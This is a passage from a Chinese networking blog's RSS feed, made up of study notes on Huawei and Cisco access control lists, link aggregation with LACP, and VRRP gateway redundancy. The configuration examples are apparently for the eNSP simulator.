   1.1.1.2    00000001.00000001.00000001.00000010     通过
   1.1.1.3    00000001.00000001.00000001.00000011     不能通过
   ······

安全 全NA+部分NP
网络 全NA+全NP+全IE

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ACL的匹配规则&lt;/h2&gt;
&lt;p&gt;规则一&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ACL的匹配顺序自上而下（步长越小越优先）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则二&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;一旦满足匹配条件 跳出查询
#
acl number 2000  
 rule 5 permit source 1.1.1.0 0.0.0.255 
 rule 10 deny source 2.2.2.0 0.0.0.255 
 rule 15 deny source 3.3.3.0 0.0.0.255 
 rule 20 permit source 2.2.2.0 0.0.0.255 
#
[Huawei-acl-basic-2000]undo rule 20   //删除规则
[Huawei-acl-basic-2000]rule 3 permit source 2.2.2.0 0.0.0.255
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则三&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;基本ACL放在离目的近的地方
高级ACL放在离源近的地方
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则四&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;最后一条隐藏规则

华为设备中：
rule xxxx permit source 0.0.0.0 255.255.255.255     //放行所有流量  允许所有
（在虚拟链路VTY中 最后一条  rule xxxx deny source 0.0.0.0 255.255.255.255   //拒绝所有   ）
思科设备：
rule xxxx deny source 0.0.0.0 255.255.255.255   //拒绝所有 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则五（很多人都会遗漏）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;acl只过滤经过本地的数据包  不会过滤自身产生的数据包      双标
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ACL的调用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;[acl]int g0/0/0   //进接口
[acl-GigabitEthernet0/0/0]traffic-filter ?
  inbound   Apply ACL to the inbound direction of the interface    进栈方向
  outbound  Apply ACL to the outbound direction of the interface    出栈方向
[acl-GigabitEthernet0/0/0]traffic-filter outbound acl 2000    //在G0/0/0接口上的出栈方向调用ACL

同方向上只能存在一条acl
同一个接口里可以存在不只一条acl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;高级ACL&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;[acl-GigabitEthernet0/0/1]undo traffic-filter outbound 
[acl]undo acl 2000       //删除acl的两步骤

[acl-acl-adv-3000]rule deny icmp source 12.12.12.1 0.0.0.0 destination 23.23.23.3 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;单向通信&lt;/h3&gt;
&lt;p&gt;想让R3能ping R1  但R1不能ping R3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;两种方法
1.禁止R1发给R3的请求包echo
[acl-acl-adv-3001]rule deny icmp icmp-type echo source 12.12.12.1 0.0.0.0 destination 23.23.23.3 0   

2.禁止R3发给R1的应答包echo-reply
[acl-acl-adv-3000]rule  deny icmp icmp-type echo-reply source 23.23.23.3 0 destination 12.12.12.1 0

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>eNSP：高可靠性技术（VRRP/堆叠）</title><link>https://wangyi187.top/posts/ensp-high-availability/</link><guid isPermaLink="true">https://wangyi187.top/posts/ensp-high-availability/</guid><description>高可靠性技术 华为E口 百兆口 G 千兆口 undo info center enable //关闭设备日志（项目现场严禁配置） 链路聚合 针对交换机 LACP:以太网链路聚合控制</description><pubDate>Wed, 12 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;高可靠性技术&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;华为E口 百兆口&lt;/p&gt;
&lt;p&gt;G 千兆口&lt;/p&gt;
&lt;p&gt;undo info-center enable //关闭设备日志（项目现场严禁配置）&lt;/p&gt;
&lt;h2&gt;链路聚合(针对交换机)&lt;/h2&gt;
&lt;p&gt;LACP:以太网链路聚合控制协议&lt;/p&gt;
&lt;p&gt;可以在不进行硬件升级的情况下，从逻辑上进行多业务接口捆绑，达到提升带宽的目的&lt;/p&gt;
&lt;h3&gt;基本名词概念&lt;/h3&gt;
&lt;p&gt;聚合组：若干个链路捆绑在一起形成的逻辑链路。每个聚合组唯一对应一个逻辑接口(Eth-Trunk接口)&lt;/p&gt;
&lt;p&gt;成员接口和成员链路：组成Eth-Trunk接口的每个物理接口又称为成员接口，成员接口对应的链路称为衬成员链路&lt;/p&gt;
&lt;p&gt;活动接口和活动链路：活动接口又叫做选中接口，参与数据转发的接口&lt;/p&gt;
&lt;p&gt;非活动接口和非活动链路：非活动接口又叫做非选中接口，参与数据转发的接口&lt;/p&gt;
&lt;p&gt;聚合模式：LACP模式，手工模式&lt;/p&gt;
&lt;p&gt;活动接口上限阈值（最大的活动接口数量）和活动接口下限阈值（最少要有几个活动接口）&lt;/p&gt;
&lt;h3&gt;手工模式&lt;/h3&gt;
&lt;p&gt;一般用于老设备，低端设备，或者不支持LACP的设备&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
[left]int Eth-Trunk 0 //创建聚合组编号0
[left-Eth-Trunk0]mode manual load-balance  //指定模式为手工模式（默认就是手工）
[left-Eth-Trunk0]trunkport Ethernet 0/0/1 to 0/0/4 //把0/0/1到0/0/4接口接入这个聚合组
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注：链路聚合链路两侧都需要做&lt;/p&gt;
&lt;h3&gt;LACP协商模式&lt;/h3&gt;
&lt;p&gt;LACPDU报文进行协商&lt;/p&gt;
&lt;p&gt;（设备优先级，MAC地址，接口优先级，接口号等）&lt;/p&gt;
&lt;p&gt;设备优先级:系统LACP优先级默认32768，越小越优，根据优先级选择主设备，当优先级一致，LACP会通过比较MAC地址选择主动端，MAC越小越优&lt;/p&gt;
&lt;p&gt;接口优先级:用于选择活动接口，接口LACP默认优先级32768，越小越优，当优先级一致，LACP会通过比较接口号选择活动接口，越小越优&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[LACP-L]int Eth-Trunk 1
[LACP-L-Eth-Trunk1]mode lacp-static 
[LACP-L-Eth-Trunk1]trunkport GigabitEthernet 0/0/1 to 0/0/4
[LACP-L-Eth-Trunk1]port link-type tr	
[LACP-L-Eth-Trunk1]port link-type trunk 
[LACP-L-Eth-Trunk1]port trunk allow-pass vlan all

[LACP-L]lacp priority 100 指定设备优先级为100
[LACP-L]interface Eth-Trunk 1
[LACP-L-Eth-Trunk1]max active-linknumber 2 设置最大活动接口数为2（默认是所有都参与）

[LACP-L]int g0/0/1
[LACP-L-GigabitEthernet0/0/1]lacp priority ?
  INTEGER&amp;lt;0-65535&amp;gt;  Priority value, the default value is 32768
[LACP-L-GigabitEthernet0/0/1]lacp priority 100 设置接口优先级
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dis eth-trunk 聚合组编号 //查看lacp绑定情况&lt;/p&gt;
&lt;p&gt;思科：三种捆绑方式&lt;/p&gt;
&lt;p&gt;1.LACP : 公有协议，最多可以捆绑16条，但是最大活动接口只有8个，剩下的用来做链路冗余&lt;/p&gt;
&lt;p&gt;​	active：主动协商模式，主动发送报文进行LACP协商&lt;/p&gt;
&lt;p&gt;​	passive： 被动协商模式，等带报文进行协商&lt;/p&gt;
&lt;p&gt;2.PAGP ：私有协议，跟LACP相似&lt;/p&gt;
&lt;p&gt;3.手动指定： ON 强制捆绑&lt;/p&gt;
&lt;p&gt;手工捆绑，对端也必须用手工模式&lt;/p&gt;
&lt;p&gt;注：捆绑接口都要是trunk模式&lt;/p&gt;
&lt;h2&gt;VRRP&lt;/h2&gt;
&lt;p&gt;为了解决 单点故障&lt;/p&gt;
&lt;p&gt;虚拟网关冗余协议&lt;/p&gt;
&lt;p&gt;热备&lt;/p&gt;
&lt;p&gt;HSRP -- 思科私有协议&lt;/p&gt;
&lt;p&gt;VRRP -- 公有协议&lt;/p&gt;
&lt;p&gt;init状态 -- 初始状态&lt;/p&gt;
&lt;p&gt;master -- 活跃状态&lt;/p&gt;
&lt;p&gt;backup -- 备份状态&lt;/p&gt;
&lt;h3&gt;VRRP特点&lt;/h3&gt;
&lt;p&gt;1.抢占模式，比较优先级，谁的优先级大，谁就是master&lt;/p&gt;
&lt;p&gt;2.master每隔1s会发送一次通告，死亡时间3s&lt;/p&gt;
&lt;p&gt;3.虚拟网卡可以是设备真实的IP&lt;/p&gt;
&lt;p&gt;默认优先级 100 ，优先级一样根据IP地址选举，越大越优先&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface GigabitEthernet0/0/0
 ip address 192.168.1.250 255.255.255.0 
 vrrp vrid 1 virtual-ip 192.168.1.254 //设置虚拟网关地址
 vrrp vrid 1 priority 200 //设置VRRP优先级为200
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>